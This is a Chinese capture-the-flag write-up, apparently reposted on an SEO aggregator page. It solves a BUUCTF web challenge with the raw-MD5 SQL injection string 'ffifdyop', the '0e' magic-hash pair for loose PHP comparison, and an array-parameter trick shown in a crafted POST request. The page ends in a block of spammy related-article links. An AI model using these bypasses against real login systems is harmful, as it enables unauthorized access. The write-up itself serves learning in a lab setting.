当前位置: 首页 > wzjs >正文

网站专题栏目策划方案郑州seo优化阿亮

网站专题栏目策划方案,郑州seo优化阿亮,wordpress 点赞数量翻倍,如何做微信网站建设解题思路 打开靶场,有个提交框,输入后url会出现我们提交的参数password http://a48577ed-9a1c-4751-aba0-ae99f1eb8143.node5.buuoj.cn:81/leveldo4.php?password123 查看源码并没用发现什么猫腻,抓包在响应头发现了猫腻 hint: select * …

解题思路

打开靶场,有个提交框,输入后url会出现我们提交的参数password

http://a48577ed-9a1c-4751-aba0-ae99f1eb8143.node5.buuoj.cn:81/leveldo4.php?password=123

查看源码并没用发现什么猫腻,抓包在响应头发现了猫腻

hint: select * from 'admin' where password=md5($pass,true)

给了我们疑似sql注入的提示,我们输入的参数应该是作为pass用MD5加密了,并且增加了true参数,即MD5不是输出字符串,而是原始的二进制格式MD5。

根据语句提示,这里注入password=md5($pass,true)为永真,即可输出admin的所有数据。利用经典的payload:

$pass = "ffifdyop"; 
// md5("ffifdyop", true) → 二进制:0x276f722736c95d99e921722cf9ed621c
// 转义后:'\'or\'6�]��!r,��b'

原sql语句会变成永真:

SELECT * FROM admin WHERE password=''or '6<乱码>'

 提交后转到了另一个界面,应该是说明注入成功了吧..

 问我喜欢MD5吗,喜欢密码呢,查看源码,可以发现,作者想要个女朋友

<!--
$a = $GET['a'];
$b = $_GET['b'];if($a != $b && md5($a) == md5($b)){// wow, glzjin wants a girl friend.
-->

比较经典的MD5弱碰撞了,使用经典的0e组合

$a = "QNKCDZO"          // MD5: 0e830400451993494058024219903391
$b = "240610708"        // MD5: 0e462097431906509019562988736854
levels91.php?a=QNKCDZO&b=240610708

又转到了另一个界面,开始套娃了是吧,不过终于有flag的身影了

<?php
error_reporting(0);
include "flag.php";highlight_file(__FILE__);if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){echo $flag;
}

这里考察原值不严格相等!==和md5值严格相等===

  • !== 要求类型和值至少有一个不相同

  • === 要求类型和值都相同

!==比较好绕过,但是严格比较就需要一些技巧

// 用户输入
$_POST['param1'] = ['a'];  // 类型:array
$_POST['param2'] = ['b'];  // 类型:array// 条件检查
var_dump($_POST['param1'] !== $_POST['param2']);  // true(数组内容不同)
var_dump(md5($_POST['param1']) === md5($_POST['param2'])); // true(都是NULL)// 实际MD5计算
var_dump(md5(['a'])); // NULL(带警告:md5() expects parameter 1 to be string)
var_dump(md5(['b'])); // NULL

使用MD5对数组的特性,计算为null即可严格相等。

因为是post提交数据,抓包进行修改

POST /levell14.php HTTP/1.1
Host: a48577ed-9a1c-4751-aba0-ae99f1eb8143.node5.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://a48577ed-9a1c-4751-aba0-ae99f1eb8143.node5.buuoj.cn:81/levels91.php?a=QNKCDZO&b=240610708
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25param1[]=a&param2[]=b

成功获取Flag 

总结

 一道涵盖了挺多知识点的MD5题,还包含了一些sql注入,难点主要在MD5的碰撞上面。

http://www.dtcms.com/wzjs/122323.html

相关文章:

  • 微网站可以自己做吗关键词排名软件官网
  • 直销网站建设网络营销知识
  • 公司网页网站建设ppt模板下载app优化网站
  • 企业名称怎么取名seo站长查询
  • 做网站用什么技术打开百度官网
  • 先锋网站大全免费b2b网站如何让百度收录
  • dw网站制作流程近10天的时事新闻
  • 网站建设规范方法十大网站排行榜
  • 佛山新网站建设策划seo优化排名工具
  • ftp网站目录市场营销公司
  • 3 阐述网站建设的步骤过程百度资讯指数
  • 住建部2017建设工程合同范本安卓优化大师hd
  • 云南商城网站建设网络营销包括哪些
  • 杭州设计门户网站网络游戏推广
  • 展台设计网站推荐东莞网站seo公司
  • vr模式的网站建设公司网站seo快速排名优化
  • 高端网站首页seo优化网站词
  • 网站框架有哪些上海做推广的引流公司
  • WordPress 代码建站天天seo伪原创工具
  • 设计asp网站建立网站费用大概需要多少钱
  • 湖北建设企业网站价格百度公司简介
  • 网页设计网站有哪些武汉网络推广网络营销
  • 广西建设监理协会官网站百度官网app下载安装
  • 雁塔区网站建设网络营销课程心得体会
  • 网站推广的方式包括企业网站建设报价
  • 怎么用织梦模板做网站百度关键词指数查询
  • 洛杉矶网站建设广点通投放平台
  • 是做网站编辑还是做平面设计品牌推广经典案例
  • 导购网站怎么做的百度seo公司报价
  • 外包做的网站怎么维护seo工具在线访问